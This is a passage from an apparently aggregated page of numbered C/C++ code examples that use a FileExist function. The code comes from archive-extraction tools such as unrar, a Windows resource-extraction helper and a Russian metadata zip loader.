  if (Cmd->Overwrite==OVERWRITE_NONE)
    return UIASKREP_R_SKIP;

#if !defined(SFX_MODULE) && !defined(SILENT)
  // Must be before Cmd->AllYes check or -y switch would override -or.
  if (Cmd->Overwrite==OVERWRITE_AUTORENAME && GetAutoRenamedName(Name,MaxNameSize))
    return UIASKREP_R_REPLACE;
#endif

  // This check must be after OVERWRITE_AUTORENAME processing or -y switch
  // would override -or.
  if (Cmd->AllYes || Cmd->Overwrite==OVERWRITE_ALL)
  {
    PrepareToDelete(Name);
    return UIASKREP_R_REPLACE;
  }

  wchar NewName[NM];
  wcsncpyz(NewName,Name,ASIZE(NewName));
  UIASKREP_RESULT Choice=uiAskReplace(NewName,ASIZE(NewName),FileSize,FileTime,Flags);

  if (Choice==UIASKREP_R_REPLACE || Choice==UIASKREP_R_REPLACEALL)
    PrepareToDelete(Name);

  if (Choice==UIASKREP_R_REPLACEALL)
  {
    Cmd->Overwrite=OVERWRITE_ALL;
    return UIASKREP_R_REPLACE;
  }
  if (Choice==UIASKREP_R_SKIPALL)
  {
    Cmd->Overwrite=OVERWRITE_NONE;
    return UIASKREP_R_SKIP;
  }
  if (Choice==UIASKREP_R_RENAME)
  {
    if (PointToName(NewName)==NewName)
      SetName(Name,NewName,MaxNameSize);
    else
      wcsncpyz(Name,NewName,MaxNameSize);
    if (FileExist(Name))
      return uiAskReplaceEx(Cmd,Name,MaxNameSize,FileSize,FileTime,Flags);
    return UIASKREP_R_REPLACE;
  }
#if !defined(SFX_MODULE) && !defined(SILENT)
  if (Choice==UIASKREP_R_RENAMEAUTO && GetAutoRenamedName(Name,MaxNameSize))
  {
    Cmd->Overwrite=OVERWRITE_AUTORENAME;
    return UIASKREP_R_REPLACE;
  }
#endif
  return Choice;
}
Esempio n. 25
0
bool WildFileExist(const wchar *Name)
{
  if (IsWildcard(Name))
  {
    FindFile Find;
    Find.SetMask(Name);
    FindData fd;
    return Find.Next(&fd);
  }
  return FileExist(Name);
}
Esempio n. 26
0
bool ExtractResource( LPCTSTR lpName, LPCTSTR lpType, LPCTSTR lpFilePath, bool bOverWrite , bool unzip,CString ex_filename)
{
	if(!bOverWrite && FileExist(lpFilePath))
		return false;

	HRSRC  res = FindResource(NULL,  lpName,  lpType);
	if(!res)
		return false;

	HGLOBAL  gl = ::LoadResource(NULL,res);
	if(!gl)
		return false;

	LPVOID  lp = ::LockResource(gl);   //  查找,加载,锁定资源
	if(!lp)
		return false;

	CString ex_filepath = _T(""),tmp_path = _T("");
	if(unzip) {
		TCHAR szFilePath[MAX_PATH + 1];
		::GetTempPath(MAX_PATH,szFilePath);
		tmp_path.Format(_T("%s"),szFilePath);
		ex_filepath = tmp_path + _T("tmpzfile");
	} else {
		ex_filepath.Format(_T("%s"),lpFilePath);
	}

	HANDLE fp;
	if(bOverWrite)
		fp = CreateFile(ex_filepath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL);
	else
		fp = CreateFile(ex_filepath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, 0, NULL);

	bool ret = false;

	if(fp != INVALID_HANDLE_VALUE) {
		DWORD aa;
		if (WriteFile (fp,lp,::SizeofResource(NULL,res),&aa,NULL))
			ret = true;
	}
	::CloseHandle (fp);       //关闭句柄
	::FreeResource (gl);     //释放内存

	if(ret && unzip) {
		if(Decode7zFileOne(ex_filepath , tmp_path , ex_filename)) {
			DeleteFile(ex_filepath);
			CopyFile(tmp_path + ex_filename , lpFilePath,FALSE);
			DeleteFile(tmp_path + ex_filename );
		}
	}

	return ret;
}
Esempio n. 27
0
void CommandData::ProcessCommand()
{
#ifndef SFX_MODULE
  if (Command[1] && strchr("FUADPXETK",*Command)!=NULL || *ArcName==0)
    OutHelp();

#ifdef _UNIX
  if (GetExt(ArcName)==NULL && (!FileExist(ArcName) || IsDir(GetFileAttr(ArcName))))
    strcat(ArcName,".rar");
#else
  if (GetExt(ArcName)==NULL)
    strcat(ArcName,".rar");
#endif

  if (strchr("AFUMD",*Command)==NULL)
  {
    StringList ArcMasks;
    ArcMasks.AddString(ArcName);
    ScanTree Scan(&ArcMasks,Recurse,SaveLinks,SCAN_SKIPDIRS);
    FindData FindData;
    while (Scan.GetNext(&FindData)==SCAN_SUCCESS)
      AddArcName(FindData.Name,FindData.NameW);
  }
  else
    AddArcName(ArcName,NULL);
#endif

  switch(Command[0])
  {
    case 'P':
    case 'X':
    case 'E':
    case 'T':
    case 'I':
      {
        CmdExtract Extract;
        Extract.DoExtract(this);
      }
      break;
#if !defined(GUI) && !defined(SILENT)
    case 'V':
    case 'L':
      ListArchive(this);
      break;
    default:
      OutHelp();
#endif
  }
#ifndef GUI
  if (!BareOutput)
    mprintf("\n");
#endif
}
Esempio n. 28
0
bool WildFileExist(const char *FileName,const wchar *FileNameW)
{
  if (IsWildcard(FileName,FileNameW))
  {
    FindFile Find;
    Find.SetMask(FileName);
    Find.SetMaskW(FileNameW);
    struct FindData fd;
    return(Find.Next(&fd));
  }
  return(FileExist(FileName,FileNameW));
}
Esempio n. 29
0
bool WildFileExist(const char *Name,const wchar *NameW)
{
  if (IsWildcard(Name,NameW))
  {
    FindFile Find;
    Find.SetMask(Name);
    Find.SetMaskW(NameW);
    FindData fd;
    return(Find.Next(&fd));
  }
  return(FileExist(Name,NameW));
}
Esempio n. 30
0
BOOL CMetadata::OpenZip(int nSetState)
{
	if(nZipState!=nSetState)
	{
		if(nZipState!=CLOSE_FILE)
		{
			m_zip.Close();
		}

		//открываем
		if(nSetState!=CLOSE_FILE)
		{
			//CString m_csConfigPath=csIBDir+"\\"+METADATA_FILENAME;

			if(m_csConfigPath.IsEmpty())
			{
				//AfxMessageBox("Не задан файл метаданных!");
				Message("Не задан файл метаданных!");
				return 0;
			}

			if(!FileExist(m_csConfigPath))
			{
				m_zip.Open(m_csConfigPath, CZipArchive::create,0);//Новый архив
				m_zip.Close();	
			}
Start:
			try
			{
				if(nSetState==OPEN_LOAD)
					m_zip.Open(m_csConfigPath, CZipArchive::openReadOnly);
				else//SAVE
					m_zip.Open(m_csConfigPath, CZipArchive::open);
			}
			catch(...)
			{
				HWND hWnd=0;
				if(AfxGetMainWnd())
					hWnd=AfxGetMainWnd()->m_hWnd;
				int nRet=MessageBox(hWnd,CString("Ошибка открытия файла ")+m_csConfigPath+"\nПовторить?","Внимание",MB_OKCANCEL|MB_ICONQUESTION);
				if(nRet!=1)
					return FALSE;
				goto Start;
			}

			m_zip.EnableFindFast(1);

		}
		nZipState=nSetState;
	}
	return TRUE;
}